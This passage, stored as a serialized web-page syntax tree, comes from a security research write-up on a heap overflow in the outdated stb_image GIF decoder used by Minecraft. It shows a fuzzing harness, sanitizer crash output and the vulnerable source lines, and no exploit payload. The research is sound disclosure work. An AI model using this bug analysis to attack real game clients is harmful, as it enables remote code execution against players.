",{"type":23,"tag":64,"props":145224,"children":145227},{"href":145225,"rel":145226},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[68],[145228],{"type":28,"value":145229},"stb_image.h",{"type":28,"value":145231},". For an example: usage of ",{"type":23,"tag":64,"props":145233,"children":145236},{"href":145234,"rel":145235},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[68],[145237],{"type":28,"value":145238},"bad Image Descriptor",{"type":28,"value":73},{"type":23,"tag":24,"props":145241,"children":145242},{},[145243,145245,145252],{"type":28,"value":145244},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":23,"tag":64,"props":145246,"children":145249},{"href":145247,"rel":145248},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[68],[145250],{"type":28,"value":145251},"stbi__gif_load_next",{"type":28,"value":145253},", and loaded the resource pack - this confirmed its usage:",{"type":23,"tag":24,"props":145255,"children":145256},{},[145257],{"type":23,"tag":429,"props":145258,"children":145260},{"alt":48476,"src":145259},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":23,"tag":666,"props":145262,"children":145264},{"id":145263},"stb-image-library",[145265],{"type":28,"value":145266},"STB Image Library",{"type":23,"tag":24,"props":145268,"children":145269},{},[145270,145275],{"type":23,"tag":135,"props":145271,"children":145273},{"className":145272},[],[145274],{"type":28,"value":145229},{"type":28,"value":145276}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":23,"tag":24,"props":145278,"children":145279},{},[145280,145282,145287,145289,145296],{"type":28,"value":145281},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":23,"tag":135,"props":145283,"children":145285},{"className":145284},[],[145286],{"type":28,"value":145229},{"type":28,"value":145288}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":23,"tag":64,"props":145290,"children":145293},{"href":145291,"rel":145292},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[68],[145294],{"type":28,"value":145295},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":28,"value":73},{"type":23,"tag":24,"props":145298,"children":145299},{},[145300],{"type":28,"value":145301},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":23,"tag":16900,"props":145303,"children":145305},{"id":145304},"fuzzing",[145306],{"type":28,"value":145307},"Fuzzing",{"type":23,"tag":24,"props":145309,"children":145310},{},[145311,145313,145320],{"type":28,"value":145312},"The fuzzer consisted of a very simple ",{"type":23,"tag":64,"props":145314,"children":145317},{"href":145315,"rel":145316},"https://github.com/AFLplusplus/AFLplusplus",[68],[145318],{"type":28,"value":145319},"AFL++",{"type":28,"value":24762},{"type":23,"tag":128,"props":145322,"children":145324},{"code":145323,"language":1123,"meta":7,"className":14526,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[145325],{"type":23,"tag":135,"props":145326,"children":145327},{"__ignoreMap":7},[145328,145341,145353,145360,145406,145418,145439,145446,145470,145485,145492,145499,145571,145595,145610,145617,145624,145637,145644,145659],{"type":23,"tag":139,"props":145329,"children":145330},{"class":141,"line":142},[145331,145336],{"type":23,"tag":139,"props":145332,"children":145333},{"style":319},[145334],{"type":28,"value":145335},"#define",{"type":23,"tag":139,"props":145337,"children":145338},{"style":245},[145339],{"type":28,"value":145340}," STB_IMAGE_IMPLEMENTATION\n",{"type":23,"tag":139,"props":145342,"children":145343},{"class":141,"line":151},[145344,145348],{"type":23,"tag":139,"props":145345,"children":145346},{"style":319},[145347],{"type":28,"value":88319},{"type":23,"tag":139,"props":145349,"children":145350},{"style":265},[145351],{"type":28,"value":145352}," \"./stb/stb_image.h\"\n",{"type":23,"tag":139,"props":145354,"children":145355},{"class":141,"line":160},[145356],{"type":23,"tag":139,"props":145357,"children":145358},{"emptyLinePlaceholder":15},[145359],{"type":28,"value":184},{"type":23,"tag":139,"props":145361,"children":145362},{"class":141,"line":169},[145363,145367,145371,145375,145379,145384,145388,145393,145397,145402],{"type":23,"tag":139,"props":145364,"children":145365},{"style":279},[145366],{"type":28,"value":17055},{"type":23,"tag":139,"props":145368,"children":145369},{"style":245},[145370],{"type":28,"value":88684},{"type":23,"tag":139,"props":145372,"children":145373},{"style":259},[145374],{"type":28,"value":262},{"type":23,"tag":139,"props":145376,"children":145377},{"style":279},[145378],{"type":28,"value":17055},{"type":23,"tag":139,"props":145380,"children":145381},{"style":294},[145382],{"type":28,"value":145383}," argc",{"type":23,"tag":139,"props":145385,"children":145386},{"style":259},[145387],{"type":28,"value":1052},{"type":23,"tag":139,"props":145389,"children":145390},{"style":279},[145391],{"type":28,"value":145392},"char",{"type":23,"tag":139,"props":145394,"children":145395},{"style":982},[145396],{"type":28,"value":87785},{"type":23,"tag":139,"props":145398,"children":145399},{"style":294},[145400],{"type":28,"value":145401},"argv",{"type":23,"tag":139,"props":145403,"children":145404},{"style":259},[145405],{"type":28,"value":12815},{"type":23,"tag":139,"props":145407,"children":145408},{"class":141,"line":178},[145409,145413],{"type":23,"tag":139,"props":145410,"children":145411},{"style":279},[145412],{"type":28,"value":17085},{"type":23,"tag":139,"props":145414,"children":145415},{"style":259},[145416],{"type":28,"value":145417}," x, y, comp;\n",{"type":23,"tag":139,"props":145419,"children":145420},{"class":141,"line":187},[145421,145426,145430,145434],{"type":23,"tag":139,"props":145422,"children":145423},{"style":279},[145424],{"type":28,"value":145425},"    unsigned",{"type":23,"tag":139,"props":145427,"children":145428},{"style":279},[145429],{"type":28,"value":56948},{"type":23,"tag":139,"props":145431,"children":145432},{"style":982},[145433],{"type":28,"value":7825},{"type":23,"tag":139,"props":145435,"children":145436},{"style":259},[145437],{"type":28,"value":145438},"ret;\n",{"type":23,"tag":139,"props":145440,"children":145441},{"class":141,"line":196},[145442],{"type":23,"tag":139,"props":145443,"children":145444},{"emptyLinePlaceholder":15},[145445],{"type":28,"value":184},{"type":23,"tag":139,"props":145447,"children":145448},{"class":141,"line":205},[145449,145453,145458,145462,145466],{"type":23,"tag":139,"props":145450,"children":145451},{"style":319},[145452],{"type":28,"value":10290},{"type":23,"tag":139,"props":145454,"children":145455},{"style":259},[145456],{"type":28,"value":145457}," (argc ",{"type":23,"tag":139,"props":145459,"children":145460},{"style":982},[145461],{"type":28,"value":13699},{"type":23,"tag":139,"props":145463,"children":145464},{"style":1016},[145465],{"type":28,"value":5938},{"type":23,"tag":139,"props":145467,"children":145468},{"style":259},[145469],{"type":28,"value":12815},{"type":23,"tag":139,"props":145471,"children":145472},{"class":141,"line":214},[145473,145477,145481],{"type":23,"tag":139,"props":145474,"children":145475},{"style":319},[145476],{"type":28,"value":13755},{"type":23,"tag":139,"props":145478,"children":145479},{"style":1016},[145480],{"type":28,"value":2525},{"type":23,"tag":139,"props":145482,"children":145483},{"style":259},[145484],{"type":28,"value":995},{"type":23,"tag":139,"props":145486,"children":145487},{"class":141,"line":1320},[145488],{"type":23,"tag":139,"props":145489,"children":145490},{"style":259},[145491],{"type":28,"value":1335},{"type":23,"tag":139,"props":145493,"children":145494},{"class":141,"line":1329},[145495],{"type":23,"tag":139,"props":145496,"children":145497},{"emptyLinePlaceholder":15},[145498],{"type":28,"value":184},{"type":23,"tag":139,"props":145500,"children":145501},{"class":141,"line":1580},[145502,145507,145511,145516,145520,145524,145528,145532,145536,145540,145545,145549,145554,145558,145563,145567],{"type":23,"tag":139,"props":145503,"children":145504},{"style":259},[145505],{"type":28,"value":145506},"    ret ",{"type":23,"tag":139,"props":145508,"children":145509},{"style":982},[145510],{"type":28,"value":1067},{"type":23,"tag":139,"props":145512,"children":145513},{"style":245},[145514],{"type":28,"value":145515}," stbi_load",{"type":23,"tag":139,"props":145517,"children":145518},{"style":259},[145519],{"type":28,"value":262},{"type":23,"tag":139,"props":145521,"children":145522},{"style":294},[145523],{"type":28,"value":145401},{"type":23,"tag":139,"props":145525,"children":145526},{"style":259},[145527],{"type":28,"value":1723},{"type":23,"tag":139,"props":145529,"children":145530},{"style":1016},[145531],{"type":28,"value":647},{"type":23,"tag":139,"props":145533,"children":145534},{"style":259},[145535],{"type":28,"value":21069},{"type":23,"tag":139,"props":145537,"children":145538},{"style":982},[145539],{"type":28,"value":1085},{"type":23,"tag":139,"props":145541,"children":145542},{"style":259},[145543],{"type":28,"value":145544},"x, ",{"type":23,"tag":139,"props":145546,"children":145547},{"style":982},[145548],{"type":28,"value":1085},{"type":23,"tag":139,"props":145550,"children":145551},{"style":259},[145552],{"type":28,"value":145553},"y, ",{"type":23,"tag":139,"props":145555,"children":145556},{"style":982},[145557],{"type":28,"value":1085},{"type":23,"tag":139,"props":145559,"children":145560},{"style":259},[145561],{"type":28,"value":145562},"comp, ",{"type":23,"tag":139,"props":145564,"children":145565},{"style":1016},[145566],{"type":28,"value":2021},{"type":23,"tag":139,"props":145568,"children":145569},{"style":259},[145570],{"type":28,"value":1820},{"type":23,"tag":139,"props":145572,"children":145573},{"class":141,"line":1597},[145574,145578,145583,145587,145591],{"type":23,"tag":139,"props":145575,"children":145576},{"style":319},[145577],{"type":28,"value":10290},{"type":23,"tag":139,"props":145579,"children":145580},{"style":259},[145581],{"type":28,"value":145582}," (ret ",{"type":23,"tag":139,"props":145584,"children":145585},{"style":982},[145586],{"type":28,"value":6580},{"type":23,"tag":139,"props":145588,"children":145589},{"style":279},[145590],{"type":28,"value":125674},{"type":23,"tag":139,"props":145592,"children":145593},{"style":259},[145594],{"type":28,"value":12815},{"type":23,"tag":139,"props":145596,"children":145597},{"class":141,"line":1614},[145598,145602,145606],{"type":23,"tag":139,"props":145599,"children":145600},{"style":319},[145601],{"type":28,"value":13755},{"type":23,"tag":139,"props":145603,"children":145604},{"style":1016},[145605],{"type":28,"value":2525},{"type":23,"tag":139,"props":145607,"children":145608},{"style":259},[145609],{"type":28,"value":995},{"type":23,"tag":139,"props":145611,"children":145612},{"class":141,"line":1627},[145613],{"type":23,"tag":139,"props":145614,"children":145615},{"style":259},[145616],{"type":28,"value":1335},{"type":23,"tag":139,"props":145618,"children":145619},{"class":141,"line":1636},[145620],{"type":23,"tag":139,"props":145621,"children":145622},{"style":259},[145623],{"type":28,"value":59686},{"type":23,"tag":139,"props":145625,"children":145626},{"class":141,"line":1659},[145627,145632],{"type":23,"tag":139,"props":145628,"children":145629},{"style":245},[145630],{"type":28,"value":145631},"    stbi_image_free",{"type":23,"tag":139,"props":145633,"children":145634},{"style":259},[145635],{"type":28,"value":145636},"(ret);\n",{"type":23,"tag":139,"props":145638,"children":145639},{"class":141,"line":1667},[145640],{"type":23,"tag":139,"props":145641,"children":145642},{"emptyLinePlaceholder":15},[145643],{"type":28,"value":184},{"type":23,"tag":139,"props":145645,"children":145646},{"class":141,"line":1676},[145647,145651,145655],{"type":23,"tag":139,"props":145648,"children":145649},{"style":319},[145650],{"type":28,"value":322},{"type":23,"tag":139,"props":145652,"children":145653},{"style":1016},[145654],{"type":28,"value":1019},{"type":23,"tag":139,"props":145656,"children":145657},{"style":259},[145658],{"type":28,"value":995},{"type":23,"tag":139,"props":145660,"children":145661},{"class":141,"line":1745},[145662],{"type":23,"tag":139,"props":145663,"children":145664},{"style":259},[145665],{"type":28,"value":1897},{"type":23,"tag":24,"props":145667,"children":145668},{},[145669],{"type":28,"value":145670},"And soon after starting the fuzzer it found an interesting bug:",{"type":23,"tag":128,"props":145672,"children":145674},{"code":145673},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[145675],{"type":23,"tag":135,"props":145676,"children":145677},{"__ignoreMap":7},[145678],{"type":28,"value":145673},{"type":23,"tag":16900,"props":145680,"children":145682},{"id":145681},"investigating-the-finding",[145683],{"type":28,"value":145684},"Investigating the Finding",{"type":23,"tag":24,"props":145686,"children":145687},{},[145688,145690,145696,145697,145702],{"type":28,"value":145689},"The ASAN output shows that at line ",{"type":23,"tag":135,"props":145691,"children":145693},{"className":145692},[],[145694],{"type":28,"value":145695},"6233",{"type":28,"value":141196},{"type":23,"tag":135,"props":145698,"children":145700},{"className":145699},[],[145701],{"type":28,"value":145229},{"type":28,"value":145703}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":23,"tag":128,"props":145705,"children":145707},{"code":145706,"language":1123,"meta":7,"className":14526,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[145708],{"type":23,"tag":135,"props":145709,"children":145710},{"__ignoreMap":7},[145711,145753,145760,145786,145799,145806,145814,145821,145875,145882,145928,145961],{"type":23,"tag":139,"props":145712,"children":145713},{"class":141,"line":142},[145714,145718,145722,145727,145732,145736,145740,145745,145749],{"type":23,"tag":139,"props":145715,"children":145716},{"style":279},[145717],{"type":28,"value":48942},{"type":23,"tag":139,"props":145719,"children":145720},{"style":279},[145721],{"type":28,"value":48947},{"type":23,"tag":139,"props":145723,"children":145724},{"style":245},[145725],{"type":28,"value":145726}," stbi__out_gif_code",{"type":23,"tag":139,"props":145728,"children":145729},{"style":259},[145730],{"type":28,"value":145731},"(stbi__gif ",{"type":23,"tag":139,"props":145733,"children":145734},{"style":982},[145735],{"type":28,"value":2573},{"type":23,"tag":139,"props":145737,"children":145738},{"style":294},[145739],{"type":28,"value":107202},{"type":23,"tag":139,"props":145741,"children":145742},{"style":259},[145743],{"type":28,"value":145744},", stbi__uint16 ",{"type":23,"tag":139,"props":145746,"children":145747},{"style":294},[145748],{"type":28,"value":135},{"type":23,"tag":139,"props":145750,"children":145751},{"style":259},[145752],{"type":28,"value":273},{"type":23,"tag":139,"props":145754,"children":145755},{"class":141,"line":151},[145756],{"type":23,"tag":139,"props":145757,"children":145758},{"style":259},[145759],{"type":28,"value":8890},{"type":23,"tag":139,"props":145761,"children":145762},{"class":141,"line":160},[145763,145768,145772,145777,145781],{"type":23,"tag":139,"props":145764,"children":145765},{"style":259},[145766],{"type":28,"value":145767},"   stbi_uc ",{"type":23,"tag":139,"props":145769,"children":145770},{"style":982},[145771],{"type":28,"value":2573},{"type":23,"tag":139,"props":145773,"children":145774},{"style":259},[145775],{"type":28,"value":145776},"p, ",{"type":23,"tag":139,"props":145778,"children":145779},{"style":982},[145780],{"type":28,"value":2573},{"type":23,"tag":139,"props":145782,"children":145783},{"style":259},[145784],{"type":28,"value":145785},"c;\n",{"type":23,"tag":139,"props":145787,"children":145788},{"class":141,"line":169},[145789,145794],{"type":23,"tag":139,"props":145790,"children":145791},{"style":279},[145792],{"type":28,"value":145793},"   int",{"type":23,"tag":139,"props":145795,"children":145796},{"style":259},[145797],{"type":28,"value":145798}," idx; \n",{"type":23,"tag":139,"props":145800,"children":145801},{"class":141,"line":178},[145802],{"type":23,"tag":139,"props":145803,"children":145804},{"emptyLinePlaceholder":15},[145805],{"type":28,"value":184},{"type":23,"tag":139,"props":145807,"children":145808},{"class":141,"line":187},[145809],{"type":23,"tag":139,"props":145810,"children":145811},{"style":259},[145812],{"type":28,"value":145813},"   [...]\n",{"type":23,"tag":139,"props":145815,"children":145816},{"class":141,"line":196},[145817],{"type":23,"tag":139,"props":145818,"children":145819},{"emptyLinePlaceholder":15},[145820],{"type":28,"value":184},{"type":23,"tag":139,"props":145822,"children":145823},{"class":141,"line":205},[145824,145828,145832,145836,145840,145845,145849,145854,145858,145863,145867,145871],{"type":23,"tag":139,"props":145825,"children":145826},{"style":319},[145827],{"type":28,"value":50542},{"type":23,"tag":139,"props":145829,"children":145830},{"style":259},[145831],{"type":28,"value":1042},{"type":23,"tag":139,"props":145833,"children":145834},{"style":294},[145835],{"type":28,"value":107202},{"type":23,"tag":139,"props":145837,"children":145838},{"style":259},[145839],{"type":28,"value":11768},{"type":23,"tag":139,"props":145841,"children":145842},{"style":294},[145843],{"type":28,"value":145844},"cur_y",{"type":23,"tag":139,"props":145846,"children":145847},{"style":982},[145848],{"type":28,"value":6306},{"type":23,"tag":139,"props":145850,"children":145851},{"style":294},[145852],{"type":28,"value":145853}," g",{"type":23,"tag":139,"props":145855,"children":145856},{"style":259},[145857],{"type":28,"value":11768},{"type":23,"tag":139,"props":145859,"children":145860},{"style":294},[145861],{"type":28,"value":145862},"max_y",{"type":23,"tag":139,"props":145864,"children":145865},{"style":259},[145866],{"type":28,"value":1062},{"type":23,"tag":139,"props":145868,"children":145869},{"style":319},[145870],{"type":28,"value":46354},{"type":23,"tag":139,"props":145872,"children":145873},{"style":259},[145874],{"type":28,"value":995},{"type":23,"tag":139,"props":145876,"children":145877},{"class":141,"line":214},[145878],{"type":23,"tag":139,"props":145879,"children":145880},{"emptyLinePlaceholder":15},[145881],{"type":28,"value":184},{"type":23,"tag":139,"props":145883,"children":145884},{"class":141,"line":1320},[145885,145890,145894,145898,145902,145907,145911,145915,145919,145923],{"type":23,"tag":139,"props":145886,"children":145887},{"style":259},[145888],{"type":28,"value":145889},"   idx ",{"type":23,"tag":139,"props":145891,"children":145892},{"style":982},[145893],{"type":28,"value":1067},{"type":23,"tag":139,"props":145895,"children":145896},{"style":294},[145897],{"type":28,"value":145853},{"type":23,"tag":139,"props":145899,"children":145900},{"style":259},[145901],{"type":28,"value":11768},{"type":23,"tag":139,"props":145903,"children":145904},{"style":294},[145905],{"type":28,"value":145906},"cur_x",{"type":23,"tag":139,"props":145908,"children":145909},{"style":982},[145910],{"type":28,"value":6910},{"type":23,"tag":139,"props":145912,"children":145913},{"style":294},[145914],{"type":28,"value":145853},{"type":23,"tag":139,"props":145916,"children":145917},{"style":259},[145918],{"type":28,"value":11768},{"type":23,"tag":139,"props":145920,"children":145921},{"style":294},[145922],{"type":28,"value":145844},{"type":23,"tag":139,"props":145924,"children":145925},{"style":259},[145926],{"type":28,"value":145927},"; \n",{"type":23,"tag":139,"props":145929,"children":145930},{"class":141,"line":1329},[145931,145936,145940,145944,145948,145952,145956],{"type":23,"tag":139,"props":145932,"children":145933},{"style":259},[145934],{"type":28,"value":145935},"   p ",{"type":23,"tag":139,"props":145937,"children":145938},{"style":982},[145939],{"type":28,"value":1067},{"type":23,"tag":139,"props":145941,"children":145942},{"style":982},[145943],{"type":28,"value":5144},{"type":23,"tag":139,"props":145945,"children":145946},{"style":294},[145947],{"type":28,"value":107202},{"type":23,"tag":139,"props":145949,"children":145950},{"style":259},[145951],{"type":28,"value":11768},{"type":23,"tag":139,"props":145953,"children":145954},{"style":294},[145955],{"type":28,"value":116625},{"type":23,"tag":139,"props":145957,"children":145958},{"style":259},[145959],{"type":28,"value":145960},"[idx];\n",{"type":23,"tag":139,"props":145962,"children":145963},{"class":141,"line":1580},[145964,145969,145973,145978,145983,145987,145991,145995,145999,146003,146007],{"type":23,"tag":139,"props":145965,"children":145966},{"style":294},[145967],{"type":28,"value":145968},"   g",{"type":23,"tag":139,"props":145970,"children":145971},{"style":259},[145972],{"type":28,"value":11768},{"type":23,"tag":139,"props":145974,"children":145975},{"style":294},[145976],{"type":28,"value":145977},"history",{"type":23,"tag":139,"props":145979,"children":145980},{"style":259},[145981],{"type":28,"value":145982},"[idx ",{"type":23,"tag":139,"props":145984,"children":145985},{"style":982},[145986],{"type":28,"value":2583},{"type":23,"tag":139,"props":145988,"children":145989},{"style":1016},[145990],{"type":28,"value":9756},{"type":23,"tag":139,"props":145992,"children":145993},{"style":259},[145994],{"type":28,"value":6666},{"type":23,"tag":139,"props":145996,"children":145997},{"style":982},[145998],{"type":28,"value":1067},{"type":23,"tag":139,"props":146000,"children":146001},{"style":1016},[146002],{"type":28,"value":2525},{"type":23,"tag":139,"props":146004,"children":146005},{"style":259},[146006],{"type":28,"value":46971},{"type":23,"tag":139,"props":146008,"children":146009},{"style":958},[146010],{"type":28,"value":146011},"          // OOB write\n",{"type":23,"tag":24,"props":146013,"children":146014},{},[146015,146017,146022,146024,146030,146032,146038],{"type":28,"value":146016},"It’s reasonable to assume ",{"type":23,"tag":135,"props":146018,"children":146020},{"className":146019},[],[146021],{"type":28,"value":74421},{"type":28,"value":146023}," is outside the bounds of ",{"type":23,"tag":135,"props":146025,"children":146027},{"className":146026},[],[146028],{"type":28,"value":146029},"g->history",{"type":28,"value":146031},", which leads to a one-byte OOB write (",{"type":23,"tag":135,"props":146033,"children":146035},{"className":146034},[],[146036],{"type":28,"value":146037},"g->history[idx / 4] = 1",{"type":28,"value":146039},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":23,"tag":24,"props":146041,"children":146042},{},[146043,146045,146050,146052,146058,146060,146065,146067,146073,146075,146081],{"type":28,"value":146044},"Because ",{"type":23,"tag":135,"props":146046,"children":146048},{"className":146047},[],[146049],{"type":28,"value":24},{"type":28,"value":146051}," is computed from ",{"type":23,"tag":135,"props":146053,"children":146055},{"className":146054},[],[146056],{"type":28,"value":146057},"g->out[idx]",{"type":28,"value":146059}," immediately before the violation, we considered whether ",{"type":23,"tag":135,"props":146061,"children":146063},{"className":146062},[],[146064],{"type":28,"value":74421},{"type":28,"value":146066}," could also be OOB for ",{"type":23,"tag":135,"props":146068,"children":146070},{"className":146069},[],[146071],{"type":28,"value":146072},"g->out",{"type":28,"value":146074},". Note that computing the address ",{"type":23,"tag":135,"props":146076,"children":146078},{"className":146077},[],[146079],{"type":28,"value":146080},"&g->out[idx]",{"type":28,"value":146082}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":23,"tag":24,"props":146084,"children":146085},{},[146086,146088,146093],{"type":28,"value":146087},"If we comment out ",{"type":23,"tag":135,"props":146089,"children":146091},{"className":146090},[],[146092],{"type":28,"value":146037},{"type":28,"value":146094}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":23,"tag":128,"props":146096,"children":146098},{"code":146097},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[146099],{"type":23,"tag":135,"props":146100,"children":146101},{"__ignoreMap":7},[146102],{"type":28,"value":146097},{"type":23,"tag":24,"props":146104,"children":146105},{},[146106],{"type":28,"value":146107},"This corresponds to:",{"type":23,"tag":128,"props":146109,"children":146111},{"code":146110,"language":1123,"meta":7,"className":14526,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[146112],{"type":23,"tag":135,"props":146113,"children":146114},{"__ignoreMap":7},[146115,146154,146161,146168,146175,146218,146249,146293,146300,146368,146408,146453,146492,146531,146570],{"type":23,"tag":139,"props":146116,"children":146117},{"class":141,"line":142},[146118,146122,146126,146130,146134,146138,146142,146146,146150],{"type":23,"tag":139,"props":146119,"children":146120},{"style":279},[146121],{"type":28,"value":48942},{"type":23,"tag":139,"props":146123,"children":146124},{"style":279},[146125],{"type":28,"value":48947},{"type":23,"tag":139,"props":146127,"children":146128},{"style":245},[146129],{"type":28,"value":145726},{"type":23,"tag":139,"props":146131,"children":146132},{"style":259},[146133],{"type":28,"value":145731},{"type":23,"tag":139,"props":146135,"children":146136},{"style":982},[146137],{"type":28,"value":2573},{"type":23,"tag":139,"props":146139,"children":146140},{"style":294},[146141],{"type":28,"value":107202},{"type":23,"tag":139,"props":146143,"children":146144},{"style":259},[146145],{"type":28,"value":145744},{"type":23,"tag":139,"props":146147,"children":146148},{"style":294},[146149],{"type":28,"value":135},{"type":23,"tag":139,"props":146151,"children":146152},{"style":259},[146153],{"type":28,"value":273},{"type":23,"tag":139,"props":146155,"children":146156},{"class":141,"line":151},[146157],{"type":23,"tag":139,"props":146158,"children":146159},{"style":259},[146160],{"type":28,"value":8890},{"type":23,"tag":139,"props":146162,"children":146163},{"class":141,"line":160},[146164],{"type":23,"tag":139,"props":146165,"children":146166},{"style":259},[146167],{"type":28,"value":145813},{"type":23,"tag":139,"props":146169,"children":146170},{"class":141,"line":169},[146171],{"type":23,"tag":139,"props":146172,"children":146173},{"emptyLinePlaceholder":15},[146174],{"type":28,"value":184},{"type":23,"tag":139,"props":146176,"children":146177},{"class":141,"line":178},[146178,146182,146186,146190,146194,146198,146202,146206,146210,146214],{"type":23,"tag":139,"props":146179,"children":146180},{"style":259},[146181],{"type":28,"value":145889},{"type":23,"tag":139,"props":146183,"children":146184},{"style":982},[146185],{"type":28,"value":1067},{"type":23,"tag":139,"props":146187,"children":146188},{"style":294},[146189],{"type":28,"value":145853},{"type":23,"tag":139,"props":146191,"children":146192},{"style":259},[146193],{"type":28,"value":11768},{"type":23,"tag":139,"props":146195,"children":146196},{"style":294},[146197],{"type":28,"value":145906},{"type":23,"tag":139,"props":146199,"children":146200},{"style":982},[146201],{"type":28,"value":6910},{"type":23,"tag":139,"props":146203,"children":146204},{"style":294},[146205],{"type":28,"value":145853},{"type":23,"tag":139,"props":146207,"children":146208},{"style":259},[146209],{"type":28,"value":11768},{"type":23,"tag":139,"props":146211,"children":146212},{"style":294},[146213],{"type":28,"value":145844},{"type":23,"tag":139,"props":146215,"children":146216},{"style":259},[146217],{"type":28,"value":145927},{"type":23,"tag":139,"props":146219,"children":146220},{"class":141,"line":187},[146221,146225,146229,146233,146237,146241,146245],{"type":23,"tag":139,"props":146222,"children":146223},{"style":259},[146224],{"type":28,"value":145935},{"type":23,"tag":139,"props":146226,"children":146227},{"style":982},[146228],{"type":28,"value":1067},{"type":23,"tag":139,"props":146230,"children":146231},{"style":982},[146232],{"type":28,"value":5144},{"type":23,"tag":139,"props":146234,"children":146235},{"style":294},[146236],{"type":28,"value":107202},{"type":23,"tag":139,"props":146238,"children":146239},{"style":259},[146240],{"type":28,"value":11768},{"type":23,"tag":139,"props":146242,"children":146243},{"style":294},[146244],{"type":28,"value":116625},{"type":23,"tag":139,"props":146246,"children":146247},{"style":259},[146248],{"type":28,"value":145960},{"type":23,"tag":139,"props":146250,"children":146251},{"class":141,"line":196},[146252,146256,146260,146264,146268,146272,146276,146280,146284,146288],{"type":23,"tag":139,"props":146253,"children":146254},{"style":294},[146255],{"type":28,"value":145968},{"type":23,"tag":139,"props":146257,"children":146258},{"style":259},[146259],{"type":28,"value":11768},{"type":23,"tag":139,"props":146261,"children":146262},{"style":294},[146263],{"type":28,"value":145977},{"type":23,"tag":139,"props":146265,"children":146266},{"style":259},[146267],{"type":28,"value":145982},{"type":23,"tag":139,"props":146269,"children":146270},{"style":982},[146271],{"type":28,"value":2583},{"type":23,"tag":139,"props":146273,"children":146274},{"style":1016},[146275],{"type":28,"value":9756},{"type":23,"tag":139,"props":146277,"children":146278},{"style":259},[146279],{"type":28,"value":6666},{"type":23,"tag":139,"props":146281,"children":146282},{"style":982},[146283],{"type":28,"value":1067},{"type":23,"tag":139,"props":146285,"children":146286},{"style":1016},[146287],{"type":28,"value":2525},{"type":23,"tag":139,"props":146289,"children":146290},{"style":259},[146291],{"type":28,"value":146292},";  \n",{"type":23,"tag":139,"props":146294,"children":146295},{"class":141,"line":205},[146296],{"type":23,"tag":139,"props":146297,"children":146298},{"emptyLinePlaceholder":15},[146299],{"type":28,"value":184},{"type":23,"tag":139,"props":146301,"children":146302},{"class":141,"line":214},[146303,146308,146312,146316,146320,146324,146329,146333,146337,146341,146346,146351,146356,146360,146364],{"type":23,"tag":139,"props":146304,"children":146305},{"style":259},[146306],{"type":28,"value":146307},"   c 